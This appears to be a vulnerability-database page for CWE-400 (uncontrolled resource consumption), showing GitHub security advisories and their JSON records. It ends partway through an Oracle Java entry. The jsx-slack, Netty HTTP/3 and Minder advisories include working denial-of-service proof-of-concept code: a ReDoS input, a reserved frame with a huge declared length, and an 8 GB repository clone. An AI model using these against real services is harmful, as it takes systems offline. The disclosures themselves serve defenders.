Common Weakness Enumeration

CWE-400

Discouraged

Uncontrolled Resource Consumption

Abstraction: Class · Status: Draft

API response cwe.mitre.org

The product does not properly control the allocation and maintenance of a limited resource.

5569 vulnerabilities reference this CWE, most recent first.

GHSA-HP68-XHVJ-X6J6

Vulnerability from github – Published: 2022-01-06 18:34 – Updated: 2022-08-11 18:43

Summary

jsx-slack insufficient patch for CVE-2021-43838 ReDoS

Details

We found the patch for CVE-2021-43838 in jsx-slack v4.5.1 is insufficient to save from Regular Expression Denial of Service (ReDoS) attack.

This vulnerability affects to jsx-slack v4.5.1 and earlier versions.

Impact

If attacker can put a lot of JSX elements into <blockquote> tag with including multibyte characters, an internal regular expression for escaping characters may consume an excessive amount of computing resources.

/** @jsxImportSource jsx-slack */
import { Section } from 'jsx-slack'

console.log(
  <Section>
    <blockquote>
      {[...Array(40)].map(() => (
        <p>亜</p>
      ))}
    </blockquote>
  </Section>
)

v4.5.1 has released by passing the test against ASCII characters but missed the case of multibyte characters. https://github.com/yhatt/jsx-slack/security/advisories/GHSA-55xv-f85c-248q

Patches

jsx-slack v4.5.2 has updated regular expressions for escaping blockquote characters to prevent catastrophic backtracking. It is also including an updated test case to confirm rendering multiple tags in <blockquote> with multibyte characters.

References

https://github.com/yhatt/jsx-slack/commit/46bc88391d89d5fda4ce689e18ca080bcdd29ecc

Credits

Thanks to @hieki for finding out this vulnerability.

Severity

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "jsx-slack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-43843"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-01-04T20:19:23Z",
    "nvd_published_at": "2021-12-20T22:15:00Z",
    "severity": "MODERATE"
  },
  "details": "We found the patch for CVE-2021-43838 in jsx-slack v4.5.1 is insufficient to save from Regular Expression Denial of Service (ReDoS) attack.\n\nThis vulnerability affects to jsx-slack v4.5.1 and earlier versions.\n\n### Impact\n\nIf attacker can put a lot of JSX elements into `\u003cblockquote\u003e` tag _with including multibyte characters_, an internal regular expression for escaping characters may consume an excessive amount of computing resources.\n\n```javascript\n/** @jsxImportSource jsx-slack */\nimport { Section } from \u0027jsx-slack\u0027\n\nconsole.log(\n  \u003cSection\u003e\n    \u003cblockquote\u003e\n      {[...Array(40)].map(() =\u003e (\n        \u003cp\u003e\u4e9c\u003c/p\u003e\n      ))}\n    \u003c/blockquote\u003e\n  \u003c/Section\u003e\n)\n```\n\nv4.5.1 has released by passing the test against ASCII characters but missed the case of multibyte characters.\nhttps://github.com/yhatt/jsx-slack/security/advisories/GHSA-55xv-f85c-248q\n\n### Patches\n\njsx-slack v4.5.2 has updated regular expressions for escaping blockquote characters to prevent catastrophic backtracking. It is also including an updated test case to confirm rendering multiple tags in `\u003cblockquote\u003e` with multibyte characters.\n\n### References\n\n- https://github.com/yhatt/jsx-slack/commit/46bc88391d89d5fda4ce689e18ca080bcdd29ecc\n\n### Credits\n\nThanks to @hieki for finding out this vulnerability.",
  "id": "GHSA-hp68-xhvj-x6j6",
  "modified": "2022-08-11T18:43:28Z",
  "published": "2022-01-06T18:34:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/yhatt/jsx-slack/security/advisories/GHSA-55xv-f85c-248q"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yhatt/jsx-slack/security/advisories/GHSA-hp68-xhvj-x6j6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-43843"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yhatt/jsx-slack/commit/46bc88391d89d5fda4ce689e18ca080bcdd29ecc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yhatt/jsx-slack/releases/tag/v4.5.2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yhatt/jsx-slack/security"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "jsx-slack insufficient patch for CVE-2021-43838 ReDoS"
}

GHSA-HPCC-26XQ-25FV

Vulnerability from github – Published: 2026-07-22 21:42 – Updated: 2026-07-22 21:42

Summary

Netty: Memory Exhaustion via HTTP/3 Reserved Frame Types

Details

Summary

Netty's Http3FrameCodec buffers incoming data for HTTP/3 reserved frame types up to the specified payload length without any limits. The payload length is read directly from the wire and trusted without validation. A bad actor can send a reserved frame with a payload length of up to Integer.MAX_VALUE, causing the server to buffer the data in memory. This leads to an OOM and a gradual Denial of Service due to memory exhaustion as multiple streams are opened.

Details

io.netty.handler.codec.http3.Http3FrameCodec#decodeFrame handles reserved frame types as follows:

                // Handling reserved frame types
                // https://tools.ietf.org/html/draft-ietf-quic-http-32#section-7.2.8
                if (in.readableBytes() < payLoadLength) {
                    return 0;
                }

The payLoadLength is read directly from the wire and trusted implicitly. Since payLoadLength can be up to Integer.MAX_VALUE and there is no maximum payload length enforcement for reserved frames, the decoder will accumulate bytes in memory until the wire-provided length is reached.

This allows a bad actor to exhaust server memory by opening multiple QUIC streams and sending reserved frames with large payload lengths, followed by a small amount of data (e.g., up to the defined limit) on each stream.

PoC

    @Test
    public void test() throws Exception {
        EventLoopGroup group = new MultiThreadIoEventLoopGroup(1, NioIoHandler.newFactory());
        try {
            X509Bundle cert = new CertificateBuilder()
                    .subject("cn=localhost")
                    .setIsCertificateAuthority(true)
                    .buildSelfSigned();

            QuicSslContext serverContext = QuicSslContextBuilder.forServer(cert.toTempPrivateKeyPem(), null, cert.toTempCertChainPem())
                    .applicationProtocols(Http3.supportedApplicationProtocols())
                    .build();

            CountDownLatch serverConnectionClosed = new CountDownLatch(1);

            ChannelHandler serverCodec = Http3.newQuicServerCodecBuilder()
                    .sslContext(serverContext)
                    .maxIdleTimeout(5000, TimeUnit.MILLISECONDS)
                    .initialMaxData(10_000_000)
                    .initialMaxStreamDataBidirectionalLocal(1_000_000)
                    .initialMaxStreamDataBidirectionalRemote(1_000_000)
                    .initialMaxStreamsBidirectional(100)
                    .tokenHandler(InsecureQuicTokenHandler.INSTANCE)
                    .handler(new ChannelInitializer<QuicChannel>() {
                        @Override
                        protected void initChannel(QuicChannel ch) {
                            ch.closeFuture().addListener(f -> serverConnectionClosed.countDown());
                            ch.pipeline().addLast(new Http3ServerConnectionHandler(
                                    new ChannelInboundHandlerAdapter() {
                                        @Override
                                        public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
                                            cause.printStackTrace();
                                            ctx.close();
                                        }
                                    }));
                        }
                    })
                    .build();

            Channel server = new Bootstrap()
                    .group(group)
                    .channel(NioDatagramChannel.class)
                    .handler(serverCodec)
                    .bind("127.0.0.1", 0)
                    .sync()
                    .channel();

            QuicSslContext clientContext = QuicSslContextBuilder.forClient()
                    .trustManager(InsecureTrustManagerFactory.INSTANCE)
                    .applicationProtocols(Http3.supportedApplicationProtocols())
                    .build();

            ChannelHandler clientCodec = Http3.newQuicClientCodecBuilder()
                    .sslContext(clientContext)
                    .maxIdleTimeout(5000, TimeUnit.MILLISECONDS)
                    .initialMaxData(10_000_000)
                    .initialMaxStreamDataBidirectionalLocal(1_000_000)
                    .build();

            Channel client = new Bootstrap()
                    .group(group)
                    .channel(NioDatagramChannel.class)
                    .handler(clientCodec)
                    .bind(0)
                    .sync()
                    .channel();

            QuicChannel quicChannel = QuicChannel.newBootstrap(client)
                    .handler(new Http3ClientConnectionHandler())
                    .remoteAddress(server.localAddress())
                    .localAddress(client.localAddress())
                    .connect()
                    .get();

            QuicStreamChannel rawStream =
                    quicChannel.createStream(QuicStreamType.BIDIRECTIONAL, new ChannelInboundHandlerAdapter()).get();

            ByteBuf header = Unpooled.buffer();

            // Write reserved frame type (64)
            header.writeByte(0x40);
            header.writeByte(0x40);

            // Write payload length (Integer.MAX_VALUE)
            header.writeByte(0xC0);
            header.writeByte(0x00);
            header.writeByte(0x00);
            header.writeByte(0x00);
            header.writeByte(0x7F);
            header.writeByte(0xFF);
            header.writeByte(0xFF);
            header.writeByte(0xFF);

            rawStream.write(header);

            // Write the maximum allowed payload
            int payloadSize = 1_000_000;
            ByteBuf payload = Unpooled.wrappedBuffer(new byte[payloadSize]);
            rawStream.writeAndFlush(payload).sync();

            assertTrue(quicChannel.isActive());

            quicChannel.closeFuture().await(5, TimeUnit.SECONDS);
            server.close().sync();
            client.close().sync();
        } finally {
            group.shutdownGracefully();
        }
    }

Impact

Denial of Service due to gradual memory exhaustion. Any application using Netty's HTTP/3 codec is impacted.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.2.16.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-56816"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-22T21:42:42Z",
    "nvd_published_at": "2026-07-21T22:17:14Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nNetty\u0027s Http3FrameCodec buffers incoming data for HTTP/3 reserved frame types up to the specified payload length without any limits. The payload length is read directly from the wire and trusted without validation. A bad actor can send a reserved frame with a payload length of up to Integer.MAX_VALUE, causing the server to buffer the data in memory. This leads to an OOM and a gradual Denial of Service due to memory exhaustion as multiple streams are opened.\n\n### Details\n`io.netty.handler.codec.http3.Http3FrameCodec#decodeFrame` handles reserved frame types as follows:\n\n```java\n                // Handling reserved frame types\n                // https://tools.ietf.org/html/draft-ietf-quic-http-32#section-7.2.8\n                if (in.readableBytes() \u003c payLoadLength) {\n                    return 0;\n                }\n```\n\nThe `payLoadLength` is read directly from the wire and trusted implicitly. Since `payLoadLength` can be up to Integer.MAX_VALUE and there is no maximum payload length enforcement for reserved frames, the decoder will accumulate bytes in memory until the wire-provided length is reached.\n\nThis allows a bad actor to exhaust server memory by opening multiple QUIC streams and sending reserved frames with large payload lengths, followed by a small amount of data (e.g., up to the defined limit) on each stream.\n\n### PoC\n\n```java\n    @Test\n    public void test() throws Exception {\n        EventLoopGroup group = new MultiThreadIoEventLoopGroup(1, NioIoHandler.newFactory());\n        try {\n            X509Bundle cert = new CertificateBuilder()\n                    .subject(\"cn=localhost\")\n                    .setIsCertificateAuthority(true)\n                    .buildSelfSigned();\n\n            QuicSslContext serverContext = QuicSslContextBuilder.forServer(cert.toTempPrivateKeyPem(), null, cert.toTempCertChainPem())\n                    .applicationProtocols(Http3.supportedApplicationProtocols())\n                    .build();\n\n            CountDownLatch serverConnectionClosed = new CountDownLatch(1);\n\n            ChannelHandler serverCodec = Http3.newQuicServerCodecBuilder()\n                    .sslContext(serverContext)\n                    .maxIdleTimeout(5000, TimeUnit.MILLISECONDS)\n                    .initialMaxData(10_000_000)\n                    .initialMaxStreamDataBidirectionalLocal(1_000_000)\n                    .initialMaxStreamDataBidirectionalRemote(1_000_000)\n                    .initialMaxStreamsBidirectional(100)\n                    .tokenHandler(InsecureQuicTokenHandler.INSTANCE)\n                    .handler(new ChannelInitializer\u003cQuicChannel\u003e() {\n                        @Override\n                        protected void initChannel(QuicChannel ch) {\n                            ch.closeFuture().addListener(f -\u003e serverConnectionClosed.countDown());\n                            ch.pipeline().addLast(new Http3ServerConnectionHandler(\n                                    new ChannelInboundHandlerAdapter() {\n                                        @Override\n                                        public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {\n                                            cause.printStackTrace();\n                                            ctx.close();\n                                        }\n                                    }));\n                        }\n                    })\n                    .build();\n\n            Channel server = new Bootstrap()\n                    .group(group)\n                    .channel(NioDatagramChannel.class)\n                    .handler(serverCodec)\n                    .bind(\"127.0.0.1\", 0)\n                    .sync()\n                    .channel();\n\n            QuicSslContext clientContext = QuicSslContextBuilder.forClient()\n                    .trustManager(InsecureTrustManagerFactory.INSTANCE)\n                    .applicationProtocols(Http3.supportedApplicationProtocols())\n                    .build();\n\n            ChannelHandler clientCodec = Http3.newQuicClientCodecBuilder()\n                    .sslContext(clientContext)\n                    .maxIdleTimeout(5000, TimeUnit.MILLISECONDS)\n                    .initialMaxData(10_000_000)\n                    .initialMaxStreamDataBidirectionalLocal(1_000_000)\n                    .build();\n\n            Channel client = new Bootstrap()\n                    .group(group)\n                    .channel(NioDatagramChannel.class)\n                    .handler(clientCodec)\n                    .bind(0)\n                    .sync()\n                    .channel();\n\n            QuicChannel quicChannel = QuicChannel.newBootstrap(client)\n                    .handler(new Http3ClientConnectionHandler())\n                    .remoteAddress(server.localAddress())\n                    .localAddress(client.localAddress())\n                    .connect()\n                    .get();\n\n            QuicStreamChannel rawStream =\n                    quicChannel.createStream(QuicStreamType.BIDIRECTIONAL, new ChannelInboundHandlerAdapter()).get();\n\n            ByteBuf header = Unpooled.buffer();\n\n            // Write reserved frame type (64)\n            header.writeByte(0x40);\n            header.writeByte(0x40);\n\n            // Write payload length (Integer.MAX_VALUE)\n            header.writeByte(0xC0);\n            header.writeByte(0x00);\n            header.writeByte(0x00);\n            header.writeByte(0x00);\n            header.writeByte(0x7F);\n            header.writeByte(0xFF);\n            header.writeByte(0xFF);\n            header.writeByte(0xFF);\n\n            rawStream.write(header);\n\n            // Write the maximum allowed payload\n            int payloadSize = 1_000_000;\n            ByteBuf payload = Unpooled.wrappedBuffer(new byte[payloadSize]);\n            rawStream.writeAndFlush(payload).sync();\n\n            assertTrue(quicChannel.isActive());\n\n            quicChannel.closeFuture().await(5, TimeUnit.SECONDS);\n            server.close().sync();\n            client.close().sync();\n        } finally {\n            group.shutdownGracefully();\n        }\n    }\n```\n\n### Impact\nDenial of Service due to gradual memory exhaustion. Any application using Netty\u0027s HTTP/3 codec is impacted.",
  "id": "GHSA-hpcc-26xq-25fv",
  "modified": "2026-07-22T21:42:43Z",
  "published": "2026-07-22T21:42:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-hpcc-26xq-25fv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56816"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/commit/5b68c61f37aa4a3045cba624cbea239655c9003b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty: Memory Exhaustion via HTTP/3 Reserved Frame Types"
}

GHSA-HPCG-XJQ5-G666

Vulnerability from github – Published: 2024-06-18 16:34 – Updated: 2024-06-18 19:27

Summary

Minder affected by denial of service from maliciously configured Git repository

Details

Minder's Git provider is vulnerable to a denial of service from a maliciously configured GitHub repository. The Git provider clones users repositories using the github.com/go-git/go-git/v5 library on these lines:

https://github.com/stacklok/minder/blob/85985445c8ac3e51f03372e99c7b2f08a6d274aa/internal/providers/git/git.go#L55-L89

The Git provider does the following on these lines:

First, it sets the CloneOptions, specifying the url, the depth etc:

https://github.com/stacklok/minder/blob/85985445c8ac3e51f03372e99c7b2f08a6d274aa/internal/providers/git/git.go#L56-L62

It then validates the options:

https://github.com/stacklok/minder/blob/85985445c8ac3e51f03372e99c7b2f08a6d274aa/internal/providers/git/git.go#L66-L68

It then sets up an in-memory filesystem, to which it clones:

https://github.com/stacklok/minder/blob/85985445c8ac3e51f03372e99c7b2f08a6d274aa/internal/providers/git/git.go#L70-L71

Finally, it clones the repository:

https://github.com/stacklok/minder/blob/85985445c8ac3e51f03372e99c7b2f08a6d274aa/internal/providers/git/git.go#L77

This (g *Git) Clone() method is vulnerable to a DoS attack: A Minder user can instruct Minder to clone a large repository which will exhaust memory and crash the Minder server. The root cause of this vulnerability is a combination of the following conditions:

Users can control the Git URL which Minder clones.
Minder does not enforce a size limit to the repository.
Minder clones the entire repository into memory.

PoC

Here, we share a PoC of how the logic of (g *Git) Clone() behaves isolated from Minder. To get a true assessment of whether this is 100% identical to its behavior in the context of Minder instead of an isolated PoC, this should be tested out by creating a large repository and instructing Minder to clone it. However, even in that case, it might not be possible to deterministically trigger a DoS because of noise from network calls.

We believe the below PoC is a correct representation because:

We have replicated the important and impactful parts of (g *Git) Clone()
We run this in multiple goroutines which Minder does here: https://github.com/stacklok/minder/blob/3afa50ef2e06269ed619d390d266cf1988c2068b/internal/engine/executor.go#L128
Minders timeout is set to 5 minutes: https://github.com/stacklok/minder/blob/3afa50ef2e06269ed619d390d266cf1988c2068b/internal/engine/executor.go#L114. With a reasonable connection, Minder can download many GBs in that period.

In our PoC, we demonstrate that under these two conditions, a large repository can perform a SigKill of the Go process which in Minders case is the Minder server.

First, create a local Git repository:

cd /tmp
mkdir upstream-repo
cd upstream-repo
git init --bare
cd /tmp
git clone /tmp/upstream-repo ./upstream-repo-clone
cd ./upstream-repo-clone
# Add large file:
fallocate -l 8G large-file
git add .
git commit -m "add large file"
git push
cd /tmp

Create and run the following script in /tmp/dos-poc/main.go:

package main

import (
        "context"
        "fmt"
        "github.com/go-git/go-billy/v5/memfs"
        "github.com/go-git/go-git/v5"
        "github.com/go-git/go-git/v5/storage/memory"
        "runtime"
        "sync"
)

func main() {
        var (
                wg  sync.WaitGroup
        )

        for i := 0; i < 2; i++ {
                fmt.Println("Starting one...")
                wg.Add(1)
                go func() {
                        defer wg.Done()
                        opts := &git.CloneOptions{
                                URL:          "/tmp/upstream-repo",
                                SingleBranch: true,
                                Depth:        1,
                                Tags:         git.NoTags,
                        }

                        storer := memory.NewStorage()
                        fs := memfs.New()
                        git.CloneContext(context.Background(), storer, fs, opts)
                }()
        }
        fmt.Println("Finished")
        PrintMemUsage()
        wg.Wait()

}

func PrintMemUsage() {
        var m runtime.MemStats
        runtime.ReadMemStats(&m)
        // For info on each, see: https://golang.org/pkg/runtime/#MemStats
        fmt.Printf("Alloc = %v MiB", bToMb(m.Alloc))
        fmt.Printf("\tTotalAlloc = %v MiB", bToMb(m.TotalAlloc))
        fmt.Printf("\tSys = %v MiB", bToMb(m.Sys))
        fmt.Printf("\tNumGC = %v\n", m.NumGC)
}

func bToMb(b uint64) uint64 {
        return b / 1024 / 1024
}

On my local machine, this Go program is killed before it prints "Finished" in the terminal. Observing the memory by way of top, we can see that the memory climbs steadily until the program crashes around 93% memory consumption.

Severity

5.7 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/stacklok/minder"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.52"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-37904"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-06-18T16:34:24Z",
    "nvd_published_at": "2024-06-18T17:15:52Z",
    "severity": "MODERATE"
  },
  "details": "Minder\u0027s Git provider is vulnerable to a denial of service from a maliciously configured GitHub repository. The Git provider clones users repositories using the `github.com/go-git/go-git/v5` library on these lines:\n\nhttps://github.com/stacklok/minder/blob/85985445c8ac3e51f03372e99c7b2f08a6d274aa/internal/providers/git/git.go#L55-L89\n\nThe Git provider does the following on these lines:\n\nFirst, it sets the `CloneOptions`, specifying the url, the depth etc:\n\nhttps://github.com/stacklok/minder/blob/85985445c8ac3e51f03372e99c7b2f08a6d274aa/internal/providers/git/git.go#L56-L62\n\nIt then validates the options: \n\nhttps://github.com/stacklok/minder/blob/85985445c8ac3e51f03372e99c7b2f08a6d274aa/internal/providers/git/git.go#L66-L68\n\nIt then sets up an in-memory filesystem, to which it clones:\n\nhttps://github.com/stacklok/minder/blob/85985445c8ac3e51f03372e99c7b2f08a6d274aa/internal/providers/git/git.go#L70-L71\n\nFinally, it clones the repository:\n\nhttps://github.com/stacklok/minder/blob/85985445c8ac3e51f03372e99c7b2f08a6d274aa/internal/providers/git/git.go#L77\n\nThis `(g *Git) Clone()` method is vulnerable to a DoS attack: A Minder user can instruct Minder to clone a large repository which will exhaust memory and crash the Minder server. The root cause of this vulnerability is a combination of the following conditions:\n\n1. Users can control the Git URL which Minder clones.\n2. Minder does not enforce a size limit to the repository.\n3. Minder clones the entire repository into memory.\n\n## PoC\nHere, we share a PoC of how the logic of `(g *Git) Clone()` behaves isolated from Minder. To get a true assessment of whether this is 100% identical to its behavior in the context of Minder instead of an isolated PoC, this should be tested out by creating a large repository and instructing Minder to clone it. However, even in that case, it might not be possible to deterministically trigger a DoS because of noise from network calls.\n\nWe believe the below PoC is a correct representation because:\n\n1. We have replicated the important and impactful parts of `(g *Git) Clone()`\n2. We run this in multiple goroutines which Minder does here: https://github.com/stacklok/minder/blob/3afa50ef2e06269ed619d390d266cf1988c2068b/internal/engine/executor.go#L128\n3. Minders timeout is set to 5 minutes: https://github.com/stacklok/minder/blob/3afa50ef2e06269ed619d390d266cf1988c2068b/internal/engine/executor.go#L114. With a reasonable connection, Minder can download many GBs in that period.\n\nIn our PoC, we demonstrate that under these two conditions, a large repository can perform a SigKill of the Go process which in Minders case is the Minder server.\n\nFirst, create a local Git repository:\n```\ncd /tmp\nmkdir upstream-repo\ncd upstream-repo\ngit init --bare\ncd /tmp\ngit clone /tmp/upstream-repo ./upstream-repo-clone\ncd ./upstream-repo-clone\n# Add large file:\nfallocate -l 8G large-file\ngit add .\ngit commit -m \"add large file\"\ngit push\ncd /tmp\n```\n\nCreate and run the following script in `/tmp/dos-poc/main.go`:\n\n```go\npackage main\n\nimport (\n        \"context\"\n        \"fmt\"\n        \"github.com/go-git/go-billy/v5/memfs\"\n        \"github.com/go-git/go-git/v5\"\n        \"github.com/go-git/go-git/v5/storage/memory\"\n        \"runtime\"\n        \"sync\"\n)\n\nfunc main() {\n        var (\n                wg  sync.WaitGroup\n        )\n\n        for i := 0; i \u003c 2; i++ {\n                fmt.Println(\"Starting one...\")\n                wg.Add(1)\n                go func() {\n                        defer wg.Done()\n                        opts := \u0026git.CloneOptions{\n                                URL:          \"/tmp/upstream-repo\",\n                                SingleBranch: true,\n                                Depth:        1,\n                                Tags:         git.NoTags,\n                        }\n\n                        storer := memory.NewStorage()\n                        fs := memfs.New()\n                        git.CloneContext(context.Background(), storer, fs, opts)\n                }()\n        }\n        fmt.Println(\"Finished\")\n        PrintMemUsage()\n        wg.Wait()\n\n}\n\nfunc PrintMemUsage() {\n        var m runtime.MemStats\n        runtime.ReadMemStats(\u0026m)\n        // For info on each, see: https://golang.org/pkg/runtime/#MemStats\n        fmt.Printf(\"Alloc = %v MiB\", bToMb(m.Alloc))\n        fmt.Printf(\"\\tTotalAlloc = %v MiB\", bToMb(m.TotalAlloc))\n        fmt.Printf(\"\\tSys = %v MiB\", bToMb(m.Sys))\n        fmt.Printf(\"\\tNumGC = %v\\n\", m.NumGC)\n}\n\nfunc bToMb(b uint64) uint64 {\n        return b / 1024 / 1024\n}\n```\n\nOn my local machine, this Go program is killed before it prints \"Finished\" in the terminal. Observing the memory by way of `top`, we can see that the memory climbs steadily until the program crashes around 93% memory consumption.",
  "id": "GHSA-hpcg-xjq5-g666",
  "modified": "2024-06-18T19:27:35Z",
  "published": "2024-06-18T16:34:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/stacklok/minder/security/advisories/GHSA-hpcg-xjq5-g666"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-37904"
    },
    {
      "type": "WEB",
      "url": "https://github.com/stacklok/minder/commit/35bab8f9a6025eea9e6e3cef6bd80707ac03d2a9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/stacklok/minder/commit/7979b43"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/stacklok/minder"
    },
    {
      "type": "WEB",
      "url": "https://github.com/stacklok/minder/blob/85985445c8ac3e51f03372e99c7b2f08a6d274aa/internal/providers/git/git.go#L55-L89"
    },
    {
      "type": "WEB",
      "url": "https://github.com/stacklok/minder/blob/85985445c8ac3e51f03372e99c7b2f08a6d274aa/internal/providers/git/git.go#L56-L62"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Minder affected by denial of service from maliciously configured Git repository"
}

GHSA-HPGM-55WQ-HGMV

Vulnerability from github – Published: 2025-07-15 21:31 – Updated: 2025-07-15 21:31

Details

Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Security: LDAP Auth). Supported versions that are affected are 9.0.0-9.3.0. Difficult to exploit vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.4 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H).

Severity

4.4 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2025-50103"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-15T20:15:46Z",
    "severity": "MODERATE"
  },
  "details": "Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Security: LDAP Auth).  Supported versions that are affected are 9.0.0-9.3.0. Difficult to exploit vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.4 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H).",
  "id": "GHSA-hpgm-55wq-hgmv",
  "modified": "2025-07-15T21:31:43Z",
  "published": "2025-07-15T21:31:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-50103"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujul2025.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HPM9-74QX-6X32

Vulnerability from github – Published: 2026-04-21 21:31 – Updated: 2026-06-30 03:36

Details

Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Networking). Supported versions that are affected are Oracle Java SE: 8u481-perf, 11.0.30, 17.0.18, 21.0.10, 25.0.2, 26; Oracle GraalVM for JDK: 17.0.18 and 21.0.10; Oracle GraalVM Enterprise Edition: 21.3.17. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 7.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-34282"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-835"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-21T21:16:32Z",
    "severity": "HIGH"
  },
